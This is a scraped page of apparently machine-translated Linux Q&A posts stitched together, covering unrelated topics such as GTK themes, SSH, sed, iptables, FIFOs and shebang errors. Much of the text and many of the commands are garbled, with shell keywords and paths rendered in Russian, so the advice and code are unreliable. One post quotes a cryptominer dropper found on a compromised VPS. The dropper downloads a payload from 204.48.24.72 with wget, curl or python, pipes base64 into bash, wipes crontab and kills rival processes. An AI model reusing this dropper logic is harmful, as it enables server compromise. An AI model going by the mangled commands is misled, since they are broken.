Диалог GTK3 имя папки белые на белом

Поскольку браузеры на Xubuntu в начали использовать вместо комплекта библиотек GTK2 GTK3, и при сохранении файла, диалоговое окно для ввода нового имени папки белые на белом, и, следовательно, нечитаемым.

GTK3 folder name dialog is white on white

Я полагаю, это может быть изменено в ~/.конфиг/на GTK-3.0/ГТК.в CSS, но я не уверен, под какой элемент идентификатор имя, которое будет.

Кроме того, есть в системе ГТК.в CSS файл , который решает эту проблему для всех пользователей этой системы?

+509
SUBIGYA 30 июл. 2017 г., 03:33:07
33 ответов

Я использую SSH и SCP для подключения к удаленному серверу.

Из-за ИС/ограничение прокси на удаленном сервере, я должен сначала подключиться к другому серверу. Например, если я хочу подключиться к "серверу-а", я по SSH на сервер-0 и от сервера-0 SSH на сервер-А. Это нормально, просто дополнительный шаг на логин.

Теперь я пытаюсь подключиться через Наутилус. Есть ли способ, в котором указывается его для подключения через промежуточный сервер?

+981
Sean Nilan 03 февр. '09 в 4:24

Я не могу включить Bluetooth на своем ноутбуке. Я использую Ubuntu13.04. Я хожу в настройки>оборудование>технологии Bluetooth Тогда я увидел, что на приведенном ниже рисунке показаны: enter image description here

Я не могу избавиться от этой ошибки: нет Bluetooth адаптеры нашли.

Я ж хочу добавить, что у меня есть соответствующие сообщения на других 2 сайтах, как указано ниже:

http://www.linuxquestions.org/questions/linux-networking-3/bluetooth-on-ubuntu13-04-not-functioning-4175473853/

https://unix.stackexchange.com/questions/90731/connect-nokia-n73-to-laptop-via-bluetooth?noredirect=1#comment136986_90731

Хотя это, казалось, было общей проблемой, но я действительно не могу получить решение в Google!! Я ждал этот вопрос был решен давно.

+966
user1198 21 нояб. 2012 г., 14:16:05
Другие ответы

Связанные вопросы


Похожие вопросы

Кто-нибудь знает, как заставить альпийских использовать определенный SMTP-сервер из списка конфиг?

Похоже, выбрать первый сервер в списке SMTP в config, но я хочу иметь возможность выбрать SMTP-сервер, в сообщение.

Я попытался с помощью различных серверов SMTP в роли, но это не сработало вообще.

Как я должен поступить?

+958
tansompol 12 дек. 2016 г., 18:42:08

Наконец, я нашел ответ сам поиск в этом неоценимую база знаний клиент StackExchange для UNIX и Linux!!!

В дополнение к ответам на вопросы выше, я также использовал принятый ответ на этот вопрос: Читать двух текстовых файлов, объедините каждую строку

И вот ответ на мой вопрос выше:

#!/бин/Баш
xuser=$(кто | команда grep ' \:[0-9]' | у awk '{печати $1}')
xdisplay=$(кто | команда grep ' \:[0-9]' | у awk '{печати $5}' | е с/[(|)]//г')
Эхо "$xuser" > /tmp/xusers.txt
Эхо "$xdisplay" > /tmp/xdisplays.txt
пока читала-Р-У3 xuser; чтение -Р-У4 xdisplay; делать
 Дисплей="$xdisplay" XAUTHORITY=/домой/"$xuser"/.Xauthority Су "$xuser" -с "уведомления-отправить многопользовательский сообщение'"
сделали 3</tmp/xusers.txt 4</tmp/xdisplays.txt
+955
Dmytro Sukhovoy 6 июн. 2018 г., 21:11:16

Вот временное решение (номер: удалить ярлыки по умолчанию и заменить их сочетания, которые называют скрипты, которые активируют гном-скриншоты и установить желаемый путь для сохранения). См https://cialu.net/how-to-change-default-gnome-screenshot-savings-folder/ полные инструкции.

*редактировать, чтобы добавить больше деталей: В инструкции по ссылке выше, ссылаясь на эту ошибку https://bugzilla.gnome.org/show_bug.cgi?id=699642этот вопрос не изменится. Вот как его обойти в случае перерывов связи в будущем.

1) Зайдите в настройки Клавиатура > Сочетания клавиш > скриншоты. Вы увидите некоторые сочетания клавиш уже назначено; в тройке должны быть, чтобы сохранить полный скриншот, сохранить скриншот окна, и сохранить скриншот области.

2) отключить стандартные сочетания клавиш (по умолчанию с PrintScreen и Alt+PrintScreen и нажмите Shift+PrintScreen С) для этих команд, выбрав ярлык и нажатия на клавишу Backspace.

3)Теперь выбираем меню ярлыки, и создать три новых клавиш для одного действия (сохранить полный скриншот один из только одно окно, или только выделенной области). Для команды, для каждого ярлыка введите команду, ш-C, после чего путь к исполняемому скрипту вы хотите огонь для этой команды.

например: Ш-с '/home/user/.scripts/screenshot-full.sh'

бы мою команду, чтобы сделать полный скриншот

4)в директории, где вы храните свой исполняемый shell-скрипты, (~/.скрипты в Примере) написать скрипты для выполнения каждого желаемого поведения.

примеры:

полный захват экрана

#!/бин/Баш Дата=$(дата +%е-%т) гном-скриншот -Ф /главная/пользователя/screenshot_directory/скриншот-$дата.ПНГ

захват окна

#!/бин/Баш Дата=$(дата +%г-%м-%д%ч:%м:%ов) гном-скриншот -ж -Ф /главная/пользователя/screenshot_directory/скриншот-$дата.ПНГ

захват района

#!/бин/Баш Дата=$(дата +%г-%м-%д%ч:%м:%ов) гном-скриншот -мини -Ф /главная/пользователя/screenshot_directory/скриншот-$дата.ПНГ

5) сделать каждый скрипт исполняемым, выполнив команду chmod. примеры:

судо команду chmod а+х '/home/user/.scripts/screenshot-full.sh'

судо команду chmod а+х '/home/user/.scripts/screenshot-window.sh'

судо команду chmod а+х '/home/user/.scripts/screenshot-area.sh'

Вот и все. Теперь при нажатии сочетания клавиш, скрипт будет выполняться и принятых скриншоты будут автоматически сохранены в выбранной screenshot_directory.

(Если ваша оболочка фу сильна, вы также можете сделать то же самое с помощью одного скрипта, имея ярлыков передать параметры к нему. Развивая это более элегантный вариант остается в качестве упражнения для читателя.)

+943
Lavish Kothari 3 нояб. 2013 г., 16:04:04

У меня 2000+ файлов в папке, но есть несколько файлов, пропавших из папки.

Имена файлов похожи

GLDAS_NOAH025SUBP_3H.A2003001.0000.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003001.0600.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003001.1200.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003001.1800.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003002.0000.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003002.0600.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003002.1200.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003002.1800.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003003.0000.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003003.0600.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003003.1200.001.2015210044609.ПСС.ГРБ GLDAS_NOAH025SUBP_3H.A2003003.1800.001.2015210044609.ПСС.ГРБ

001 указывает день, а в 0000 час.

Как узнать, какой файл отсутствует в папке? Я получил несколько ответов в Google, но не мог выяснить, как реализовать те.

+943
user113172 2 янв. 2018 г., 01:21:02

Я хочу, чтобы поиск формат даты, как 2019-07-12 11:22:33.

но, в режиме VI, :/2019-07-12 11:22:33 не выполнен пробелами.

как я могу поиск 2019-07-12 11:22:33?

(другой формат не очень)

+884
just joe 4 мар. 2012 г., 17:39:07

Это позволило мне использовать мой Mac по SSH ни на что, так долго, как Mac подключен к источнику питания.

System Preferences, Energy saver, Prevent computer from sleeping automatically when the display is off

Все отключается, когда пользователь получает от своего источника питания, поэтому вам не придется беспокоиться о жизни батареи.

+881
Bartlomiej Pakula 21 янв. 2011 г., 08:10:27

написал код содержит синтаксическую ошибку.

Есть дополнительный '&'

она должна быть:

 /софт/главная 2>&1 > > в /var/журнал/приложение.журнал &

которая начинается основной исполняемый в фоновом режиме и повторно направляет оба stdout и stderr, чтобы добавить в приложение.файл журнала

+813
user40658 5 мар. 2011 г., 04:32:50

В СЭД, это должно работать:

е/URL-адрес/ { /СКМ/! s=\.com/=\.com/scm/=g }'

Вы можете инвертировать Андресс путем добавления ! после этого, и вы можете применить адресу регулярного выражения к другому с помощью блоков.

Или, может быть, если СКМ только авэс .ком/ должны быть проверены на:

е/URL-адрес/ { \=\.ком/СКМ/= ! s=\.com/=\.com/scm/=g }'
+755
sbail95 12 мая 2014 г., 02:12:28

Есть два способа бросить весь исходящий трафик, кроме того, что вы четко определить, как принимать. Во-первых, установить политику по умолчанию для выхода в падение.

в iptables -П падение выходной 

Недостатком этого способа является то, что когда цепь сбрасывается (все правила удалены), весь исходящий трафик будет отброшен. Другой способ-это поставить "одеяло" капля правило в конец цепочки.

в iptables -A выход -Джей падение

Не зная точно, что вам нужно, я не могу посоветовать, что принимать. Я лично использую метод ввода правило падение по умолчанию в конце цепочки. Вам может понадобиться, чтобы проверить, как ваш GUI устанавливает правила, в противном случае она может вступить в противоречие с традиционными CLI и способы восстановления нормы о загрузке системы (такие, как /etc/sysconfig нужно/в iptables).

+723
Stephen Cardoza 10 авг. 2014 г., 10:04:09

Я выполнил команду dpkg-перенастроить как exim4-config, который и создается в/var/lib в/как exim4/config файл.автогенерируемые. Я считаю, что это основной конфигурации. Однако на наших старых север со старой версией Эксим я видел Эксим.conf файл в папку /etc. С какой целью этот файл и как я могу генерировать его? Есть ли инструмент, который может генерировать его и рекомендуется иметь этот файл?

+704
rishabh jain 16 янв. 2015 г., 05:59:36

Дата и время должны быть отдельными аргументами:

судо ausearch-начните 05/07/2019 '16:48:07'

Я нашел пример в интернете, но более внимательный читатель мог увидеть это в MAN-страницу:

 -ТС-начало [Начало-Дата] [начало время]
 Поиск событий с метками времени, равна или позже
 время начала. Формат времени зависит от локали. Если
 дата опущен, сегодня считается. Если момент пропущен,
 полночь предполагается. Использовать 24-часовой формат времени, а не am или PM
 чтобы указать время. Дата, например, используя язык.локаль utf8 является
 09/03/2009. Пример время 18:00:00. Формат даты
 принимаются под влиянием переменной у окружающей среды.

Обратите внимание -ТС-начало [начало работы] [начало время], очевидно, что есть два дополнительных аргумента, а не один.

+676
Markus Ankenbrand 2 июн. 2016 г., 16:48:36

У меня есть код, как:

ошибка ловушка '${LINENO} ${BASH_COMMAND}' подстраховаться

Я хочу, чтобы захватить сообщение об ошибке вместе с этим. Есть ли встроенная переменная для печати сообщения об ошибке?

+659
DaGamingBoss 17 нояб. 2011 г., 13:44:36

Ответ украдено из комментариев.

Матлаб требуется лицензия для запуска. Для некоторых установок, лицензий проверил с сервера лицензий. Если Матлаб не удается связаться с сервером лицензий (например, потому что это по локальной сети) иногда Матлаб просто зависает.

+588
italba 5 нояб. 2017 г., 04:51:46

На моем ноутбуке (HP павильон) у меня установка Линукс Минт 18 и я недавно добавили установку Manjaro Linux в параллель. Для этого я позволить программе установки Manjaro сжать раздел с мятой Для того, чтобы освободить место для новой установки.

Проблема, которую я испытываю сейчас, когда дело доходит до загрузки. Мне кажется, как будто новые установки Manjaro установил собственные харчи (это загрузчик и менеджер насколько я знаю), потому что в БИОСе у меня было два загрузчики ОС на выбор (Убунту + Manjaro).

Однако, как я не смог убедить моего ноутбука, чтобы дать мне возможность выбрать между двумя установками, я начал возиться с опциями. Я заметил, что при выборе погрузчика Manjaro загрузки я сделал вам, что меню выбора ОС для загрузки. Я как-то "удалось" сделать Manjaro-опция в BIOS исчезает; я все еще можете загрузить его через BIOS -> ели хоть.

Потом я обнаружил, что мне просто пришлось обновить-жратвы на мой Линукс Минт, установка в порядке появления меню как нужные, но хотя само меню показывает сейчас, я могу только загрузить Linux Mint с ним. При попытке загрузки Manjaro я получаю какую-то паника ядра ошибка, наряду с не может претендовать ресурса 1 сообщение, а затем он выходит из багажника (по крайней мере, так я предполагаю, потому что он не будет делать ничего другого).

Эта проблема не возникает при использовании загрузочного меню предусмотрено самим Manjaro (можно ли загружать обе ОС оттуда без проблем).

Теперь мне казалось странным, что я даже эти две отдельные загрузчики рядом друг с другом. Я интересно, если это может вызвать проблемы или если у кого есть еще идеи в чем проблема может быть?

+580
Timothy Richardson 8 февр. 2014 г., 10:28:48

Я хочу организовать следующий список в формате

Ток:

42.53 е-12
43.64 е-12
45.78 е-12
49.86 е-12
57.87 е-12
73.68 е-12
105.3 е-12

Нужны

"42.53 е-12, 43.64 е-12, 45.78 е-12, 49.86 е-12, 57.87 е-12, е 73.68-12, 105.3 е-12"

Все числа разделены запятыми и список заключены в кавычки.

+578
Evert Mouw 10 дек. 2015 г., 07:58:41

Как правило, sysstat, который предоставляет САР команду, сохраняет логи в каталоге/var/журнал/sysstat/ или в/var/журнал/СА/ с именами файлов, таких как файл/var/журнал/sysstat/Садд , где ДД - это числовое значение дня месяца (начиная с 01). По умолчанию, файл с текущего дня используется; однако, вы можете изменить файл, который используется с переключатель командной строки. Таким образом за 3 месяца вы могли бы сделать что-то вроде:

САР-Ф /ВАР/лог/sysstat/sa03

Если вы хотите ограничить диапазон времени, вы можете использовать и параметров. Если вы хотите регулярно получать вчерашнего файл и никогда не сможете вспомнить дату и есть GNU даты, вы могли бы попробовать

САР-Ф /ВАР/лог/sysstat/СА$(дата +%д-д вчера)

Я настоятельно рекомендую прочитать страницу руководства по SAR.

+535
borninla 10 апр. 2019 г., 01:40:42

Мне за себя стыдно немного, просто опечатка и глубокое невежество. Сохранить себя некоторые горе:

  1. ваш hasbangs/shebangs должны всегда есть ведущий /, такие как #!/бин/Баш
  2. быть точным
  3. если вы работаете между основной и гостевой (виртуальной) машины без копирования и вставки включен, просто остановись. Опечатки будут убивать ваш код и ваш вопрос, (который может p_ss людей). Выяснить, как получить копирование и вставка работают, или работают от одной машины. Ручное перепечатывание-это глупость.
  4. буду благодарен. Там действительно очень отзывчивые люди здесь.
  5. они все Linux, но разные дистрибутивы могут иметь особенности, когда дело доходит до раковины и скрипты. (Это включает в себя полный и минимальный версий дистрибутива). Проверьте свои оболочки (ПС-п$$ -ocmd= работал для меня источник). Вы должны создать каталоги вручную (ЭСП. в минимальный дистрибутивы)?
  6. для меня, потому что его наиболее применимым к большинству систем (я.е "портативный"), я собираюсь запустить мои скрипты с #!/usr/Бен/ОКР <Шелл>, где оболочка Баш, ш, или что угодно. Много как-для веб-сайтов только, кажется, говорят, "всегда запускайте скрипт с #!/бин/Баш" без каких-либо объяснений или возражений. Просто не правда.
  7. Shellcheck. Этот инструмент может быть весьма полезным. (Кредит - roaima)

Я не могу сделать скрипты для запуска в переходный (Xenial) минимальный (+рабочего стола LXDE) ВМ с shebangs - без них все хорошо.

По совету в предыдущем посте, я сделал очень простой сценарий, в 4 версиях, которые отличаются только в притон:

echotest (нет линии притон):

#blantantly простой тест, чтобы выяснить, проблемы сценария 

Echo "это работает - типа что-то для меня, чтобы повторить его"
вход читать 
Эхо $ввод

echotest-бин-Баш

#!бин/Баш

#blantantly простой тест, чтобы выяснить, проблемы сценария 

Echo "это работает - типа что-то для меня, чтобы повторить его"
вход читать 
Эхо $ввод

и еще два, соответствующие #!бин/тире и [Правка: Вставить "бин" по следующим, в этом тексте не скрипт] #!Бен/ш.

Эти файлы сохраняются в ~/bin вкаталог, который я создал вручную после прочтения форума где-то.

Тестирование скриптов оттуда дает:

х@компьютер:~$ echotest
это работает - типа что-то для меня, чтобы повторить его
тест1
тест1

т. е. он работает без каких-либо притон, но

х@компьютер:~$ echotest-бин-Баш
Баш: /домашний/х/ОГРН/echotest-бин-Баш: бин/Баш: плохой интерпретатор: нет такого файла или каталога
х@компьютер:~$ echotest-Бен-черточки
Баш: /домашний/х/ОГРН/echotest-бин-тире: бин/Баш: плохой интерпретатор: нет такого файла или каталога
х@компьютер:~$ echotest-Бен-ш
Баш: /домашний/х/ОГРН/echotest-бин-ш: Бен/ш: плохой интерпретатор: нет такого файла или каталога

Далее

х@компьютер:~$ ./echotest-бин-Баш
в bash: ./echotest-бин-Баш: нет такого файла или каталога

Чтобы проверить еще одну рекомендацию я прочитал на форуме/блоге, я удалил скрипты из ~/Бин и попытался их в то время как сохраняется в каталоге/usr/местные/Бен.

х@компьютер:~$ echotest
Баш: /домашний/х/ОГРН/echotest: нет такого файла или каталога

И то же для всех остальных вариантов.

Однако

х@компьютер:~$ судо /usr/местные/Бен/echotest
это работает - типа что-то для меня, чтобы повторить его
тест
тест

(т. е. он работает)

х@компьютер:~$ судо /usr/местные/Бен/echotest-бин-Баш
команду sudo: не удается выполнить /usr/местные/Бен/echotest-бин-Баш: нет такого файла или каталога
Отбой

Обратите внимание, что все разрешения были выданы с помощью команды chmod +х <имя_файла> или реже, то chmod 777 <имя>, и дважды проверил ЛС-л /реле/вант/каталог.

х@компьютер:~$ Эхо $путь
/домашний/х/ОГРН:/домашний/х/.местные/ОГРН:/usr/местные/sbin:/usr/местные/Бен: выполнить/sbin:/usr/Бен: файл/sbin:/ОГРН

В ответ на предыдущий ответ на мой первый опыт в этом вопросе, с Lubuntu минимальный показаны установлено:

||/ Имя Версия Архитектура Описание
+++-==============-============-============-=================================
второй черточки 0.5.8-2.1 Убу amd64 в POSIX-совместимые оболочки

второй Баш 4.3-14ubuntu для amd64 ГНУ Борна оболочке

С помощью команд я не вполне понимаю, почерпнутые из форумов:

х@компьютер: файл~$ "$(тип -П Баш)" 2>/dev/нуль
/бин/Баш: эльф 64-битный исполняемый ЛСБ, х86-64, Версия 1 (с SysV), динамически связаны, переводчик /lib64/ЛД-ОС Linux для архитектуры x86-64.так.2, для GNU/Линукс 2.6.32, BuildID[в SHA1]=[удалено на форуме], раздели

х@компьютер:~$ тип -Р Баш
/бин/Баш 

Мерфи, если ты читаешь - у меня нет удачи, пытаясь вызвать бин/Баш, получив приглашение. Я не знаю, как и мои поисковые запросы приносят слишком много мимо материала.

Наконец, я проверял работу скрипта (т. е. без исключения), в .Desktop-файл, и он отлично функционировал (Свдв=echotest).

Почему не shebangs работы? Эквивалент скрипты с #!бин/Баш работать нормально в моей Убунту Мате (Xenial) хозяина.

Я уверен, что это очень простая ошибка, но я в тупике. Это мой второй когда-либо сценария, поэтому я рад быть направлена на соответствующих основных материалов.

Спасибо заранее

Редактировать

Спасибо Jesse_b.

Edit1.1 - Нет, я ошибаюсь. #!/бин/Баш работает. Я искал в истории терминала и я не могу найти этой записи я упоминал ранее.

Кроме того, #!/usr/Бен/ОКР Баш работает отлично.

Правка 2

Спасибо Мерфи

Используя hashbang #!/Бен/ш и #!/бин/Баш работать нормально.

Далее

х@компьютер:~$ LS с Л /бин/Баш
-rwxr-XR-х 1 корень 1037528 16 мая 2017 /бин/Баш

х@компьютер:~$ /usr/Бен/ОКР | грэп Баш
Снаряд=/бин/Баш

х@компьютер::~$ LS с Л /бин/*ш
-rwxr-XR-х 1 корень 1037528 16 мая 2017 /бин/Баш
-rwxr-XR-х 1 корень корень 154072 17 февраля 2016 /ОГРН/черточки
lrwxrwxrwx 1 корень 4 16 мая 2017 или /bin/rbash -> Баш
lrwxrwxrwx 1 корень 4 февраля 17 2016 /Бен/ш -> тире

Окончательное редактирование - разных дистров будет более или менее строгий, как ваш hashbangs/shebangs форматируются. Я нашел этот пост, в котором кто-то описывал похожие проблемы с более ранними версиями мятный/Xfce и с Lubuntu/LXDE без излишеств.

(Я столкнулась с неприятностями, когда я вручную повторно введен скрипт на мой хост в Ubuntu приятель в переходный минимальный/рабочего стола LXDE оценки. Я думал, я заметил различное поведение между дистрибутивами, но а) я не понимаю значение формата притон, Б) есть сайты, которые предложить может-не очень хороший совет, и C) я склонен к опечаткам. В качестве эксперимента, посмотреть, если ваш скрипт будет работать без исключения на всех.)

+526
Evil Kitten 27 сент. 2018 г., 16:38:04

Как @Kusalananda указал, виртуальная машина (VM) будет вашим лучшим ставку. Виртуальная машина FreeBSD работает, но у меня были проблемы с драйверами для общих папок (хотя я думаю, что было исправлено уже в этом году). У меня Windows 10 на моем ноутбуке с другой виртуальной машины с FreeBSD, который я использую. GhostBSD хороший стабильный графический интерфейс 'дистрибутив', что я использую для подурачится и я не-Х образ FreeBSD для тестирования, сборки и вещи. Вы можете создать то же самое в Mint.

Что особенно удобно, об использовании виртуальной машины заключается в том, что когда вы столкнетесь с проблемами, вы перейти из виртуальной машины, загрузить браузер на вашем хост-ОС и исследовать вашу проблему. Когда я поставил двойную загрузку машины, я часто столкнуться с ситуацией, когда мне нужен ответ и не могу сделать для браузера, потому что, ну, моя ОС мертв.

+494
EusebioMG 4 нояб. 2010 г., 07:13:50

Когда вы делаете:

кошка ФИФО

Предполагая, что никакой другой процесс открыл ФИФО для письма, кошка будет блокировать на открыть() системный вызов. Когда еще один процесс открывает файл для записи, труба будет создан и открыт() вернется. кошка будет вызывать метод Read() в цикле и прочитать() блокирует, пока некоторый другой процесс записывает данные в канал.

кошка увидите конец файла (EOF), когда все другие процессы закрыли файловый дескриптор в ФИФО. В какие моменты кошка прекращает и труба destroyed1.

Вам нужно запустить кошку еще раз прочитать, что будет написано после этого ФИФО (но через другую трубу экземпляра).

В:

хвост -F файл

Как кошка, хвост будет ждать процесс открытия файла для записи. Но здесь, поскольку вы не указали -Н +1 скопировать с самого начала, хвост придется подождать, пока ВФ, чтобы выяснить, что последние 10 строк, так что вы не увидите ничего, пока пишу закрыто.

После этого, хвост не закрыть свое ФД на трубы что означает, что труба экземпляр не будет уничтожено, и будет еще пытаться читать из трубы каждый второй (на Linux, что опрос можно избежать путем использования в inotify и некоторые версии GNU хвост делать, что есть). Что прочитать() будет возвращать с ВФ (непосредственно, который является, почему вы видите 100% процессора с -с 0 (что с GNU хвост, значит, чтобы не ждать между прочитать()ы, а не ждать одну секунду)), пока некоторый другой процесс открывает файл снова для записи.

Вот вместо этого, вы можете использовать кошку, но убедитесь, что труба экземпляр всегда остается вокруг после того, как он был создан. Для этого, в большинстве систем, вы могли бы сделать:

кошка 0<> ФИФО # в 0 необходима для последних версий ksh93, где
 # по умолчанию ФД изменяется от 0 до 1 для <> оператор

кошкас устройства stdin будет открыт для чтения и записи, что означает, кошка никогда не увидишь ВФ на ней (она также реализует трубу сразу, даже если нет другого процесса открытия ФИФО для записи).

На системах, где это не работает, вы можете вместо этого сделать:

кот < ФИФО 3> ФИФО

Вот кстати, как только какой-то другой процесс открывает FIFO-буфер для записи, первое чтение-только открыть() будет возвращать, после чего оболочка будет делать записи-только открыть() перед началом кошку, которая предохранит трубы от быть разрушенным снова.

Итак, подведем итоги:

  • по сравнению с кошкой файл, его не остановить после первого раунда.
  • по сравнению с хвостом -Н +1 -f файл: что бы не делать бесполезную прочитать() каждый второй после первого тура, там никогда не будет ВФ на один экземпляр трубы, не было бы, что до одной секунды, когда второй процесс открывает канал для записи после того, как первый закрыл его.
  • по сравнению с хвостом -F файл. В дополнение к вышесказанному, его не придется ждать в первом туре, чтобы закончить прежде, чем производить что-то (только последние 10 строк).
  • по сравнению с кошкой файл в цикле, там будет только одна труба экземпляр. Гонки для Windows, указанную в п. 1, можно было бы избежать.

1 на данный момент, в промежутке между последней читал() , что указывает на ВФ и кошка прекращения и закрытия читального конец трубы, есть небольшие окна, в течение которого процесс может открыть буфер FIFO для записи еще раз (и не будет заблокирован, так как есть еще значение конец). Затем, если он пишет что-то после того, как кот вышел и перед другой процесс открывает FIFO-буфер для чтения, он будет убит с сигнал sigpipe,.

+474
William Leigh 2 мая 2013 г., 22:10:06

Если они являются синонимами, вы будете иметь, чтобы написать это:

myfunction () с {
 экспорт SOME_VAR=/путь/до/главные/папку
 . "$SOME_VAR/loading/stuff.sh" --тихо
 ивал '
loadApp1
loadApp2
loadApp3
loadApp4'
}

псевдонимы расширяются во время чтения/разбора. ивала сил такого разбора.

+439
Peter Vielehr 10 сент. 2014 г., 18:09:58

Вы можете перенаправить stdout с помощью > файл, и перенаправить stderr через 2> файл. Многие современные снаряды поддержка перенаправления команд, так что вы можете использовать СЭД , чтобы выделить какой выход идет от потока:

$ Общ 2> >(СЭД 'ы/^/2: /') > >(СЭД 'с/^/1: /')
1: unity_support_test.0
1: vmwareDnD

$ Общ фу 2> >(СЭД 'ы/^/2: /') > >(СЭД 'с/^/1: /')
2: команда ls: невозможно получить доступ к функции foo: нет такого файла или каталога
+438
tven 18 июл. 2013 г., 04:31:19

На раннем этапе моего скрипта, он должен распаковать "х" количество файлов предоставленных Пользователем. Через установить zip-файл, есть имя-дубликаты (но их содержание различается друг от друга); т. е. zip1.zip и zip2.zip содержать одинаково-по имени файла "d09483272".

Можно просто распаковать несколько файлов, выполнив распаковать \*молния -д $M_DIR но это неэффективно-в моем случае - как только что распакованные файлы перезаписать уже в $M_DIR месте.

Думал об их распаковки с меткой времени - какой-то странный вложенный цикл вроде следующего (который явно не работает)

 для молния *молния; делать
 распаковать -л *молния во время чтения файла
делать
 распаковать -Р *.молнии ${файл} > $(дата "+%Ч:%М:%С:%С%Н").формат PDF
сделано
сделано

Если это не правильный подход, наверное есть проще способ сделать это? Мысли?

+436
Louis Nui 19 июн. 2018 г., 15:35:31

На VPS, который я использую, я как-то немного раздражает Шахтер. (Я не root)

15109 ? З 0:00 [СГ] <закрыта>
15134 ? Протокол SSL 0:03 []
15160 ? С 0:00 ./5DiaEd75 ./bNlMGMON
15162 ? С 0:00 ./5DiaEd75 ./bnkI202h
15183 ? С 0:00 сон 5
15184 ? С 0:00 сон 5

Каждый раз, когда начинается с другим названием Из /var/tmp в. Насколько я видел, он загружает файл с transfer.sh (позже редактировать: скрипт является одним из transfer.sh я думал, что он был на сайте) где-то после того, как я убил его (это я увидел от назойливого ПС х)

47067 ? С 0:00 Ш-с Эхо -Н-d2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQundgumjqunzivaw5kzxguahrtbcb8igjhc2g=' | в base64 -д | Баш
47070 ? С 0:00 Баш
47072 ? С 0:00 Баш
47088 ? С 0:00 через wget http://204.48.24.72/zeenuts -О' ./0amdpE5K

Я проверил файл crontab, но там ничего нет и если я что-то туда положить, он удаляется после этого процесс начинается. Я также вижу, что начинается:

27985 ? С 0:00 каталог /usr на/sbin/sendmail-а,- FCronDaemon -я -Оди-ОЕМ-ОИ -т -ф корень

Я не могу избавиться от этой вещи. Есть ли способ, что он устанавливает хрон-как работу без использования crontab? или с помощью функции sendmail? В [] процесс с помощью команды lsof он говорит, что работает с /; и в /var/tmp, тогда он скачивает 2 исполняемых файлов.

/Пользователь или/bin/sendmail-а не может быть связано, как я заметил, что начинается всякий раз, когда я в crontab команду и она выполняется. Может быть setitng админ сделал для выполнения заданий crontab.

2.6.32-642.el6.архитектуру x86_64
Релиз CentOS в 6.8 (финал)

Я видел скрипт:

#<!--

 случайная функция() {
чарс=abcdefghijklmnop1234567890ABCDEFghijklmnop
 ибо я в {1..8} ; делать
 Эхо-N ${символы:случайные%${#символов}:1}
сделано
}

new_bash=$(случайный)
new_daemon=$(случайный)
new_killbot=$(случайный)
new_payload=$(случайный)
 кронтаб -Р

 writable_path=("/ВАР/ТМП" "/tmp" с `дуо`)

 для путь_установки в ${writable_path[@]}
делать
 компакт-диск $путь_установки

 РМ -РФ сенсорный ponezz

 команда-в КП "касания". /сенсорный
 ./касания ./ponezz
 если [ ! -Ф ./ponezz ]; тогда
далее
еще
 РМ -РФ сенсорный ponezz
перерыв
интернет
сделано

 если [ $(Командной в утилита wget | туалет -л) -экв 1 ]; тогда
 с wget http://204.48.24.72/zeenuts -О' ./$new_payload
 Элиф [ $(команда -в завиток | туалет -л) -экв 1 ]; тогда
 http://204.48.24.72/zeenuts -о завиток ./$new_payload
 Элиф [ $(команда -в питоне | туалет -л) -экв 1 ]; тогда
 если [ $(питон -в 2>&1 | СЭД с/.* \([0-9]\).\([0-9]\).*/\1\2/') -ЛТ "30" ]; затем
 в Python -C "от импорта urllib urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
еще
 в Python -C "от urllib.импорт запросу urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
интернет
интернет
 команду chmod 777 ./$new_payload
 команды nohup ./$new_payload
./$new_payload

 Эхо "сон 2;РМ "'$0'" ;хотя, правда;спать 5; ПС х | грэп -Ф '[]' | команда grep -v с грэп;если [ "'$?'" -экв 1 ]; выполнить команду chmod 777 ./$new_payload;команды nohup ./$new_payload;./$new_payload;интернет;ПС | грэп -Ф '[]' | команда grep -v с помощью команды grep | у awk '{печати "'$1'"}' | у awk '{если(Кол>1)печать}' | команды xargs -N1 и убить -9;сделано" | ти ./$new_daemon
 Эхо -Н 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1zttkbybzbgvlcca1oybwcybhdxggfgdyzxaglxygluygj1tdjyb8igf3ayane2lmkcqzpjqwljapihbyaw50icqyfscgfcb3aglszsbyzwfkihbyb2npzdsgzg8ga2lsbcatosakchjvy2lkoybkb25lo2rvbmu=' | в base64 -д | ти ./$new_killbot
команда-vср `Баш` ./$new_bash

./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &

Забавный небольшой скрипт, но я не могу понять, как он держит на Начинать.

+414
user83349 18 дек. 2012 г., 00:28:37

вы можете попробовать эту команду awk

$ кот a.txt
: 1467892191:0;проигрыватель CD /usr/доли
: 1467892276:0;лнрл
: 1467892743:0;выход
: 1467892751:0;перезарядка
: 1484284548:0;Echo 'также несколько \
линия \
тест'
: 1467892191:0;проигрыватель CD /usr/доли
: 1467892276:0;лнрл
: 1467892743:0;выход
: 1467892751:0;перезарядка
: 1484284548:0;Echo 'также несколько \
линия \
: 1467892751:0;перезарядка


$ на awk -Ф\; 'ЯТ!=1{функции printf("\п на%S",$ЯТ)}NФ==1{функции printf("н на %S ",$1)}' a.txt

компакт-диски /usr/доли
лнрл
выход
релоад
Эхо несколько \N строка \ Н тест
компакт-диски /usr/доли
лнрл
выход
релоад
несколько линейных Эхо '\Н \
релоад
+385
Astraioz 23 мар. 2015 г., 00:46:13

Я в настоящее время запуск скрипта при запуске через файл/etc/rc автомобиль.местные. Проблема в том, что при выключении, это не корректно завершаться. Это может вызвать (важно) потери данных. Мой скрипт обработчик сигнала SIGINT, чтобы закончить все задания, прежде чем покинуть его, есть ли способ запустить скрипт при запуске и отправить сигнал SIGINT в сценарий (и дождитесь его завершения) перед завершением работы?

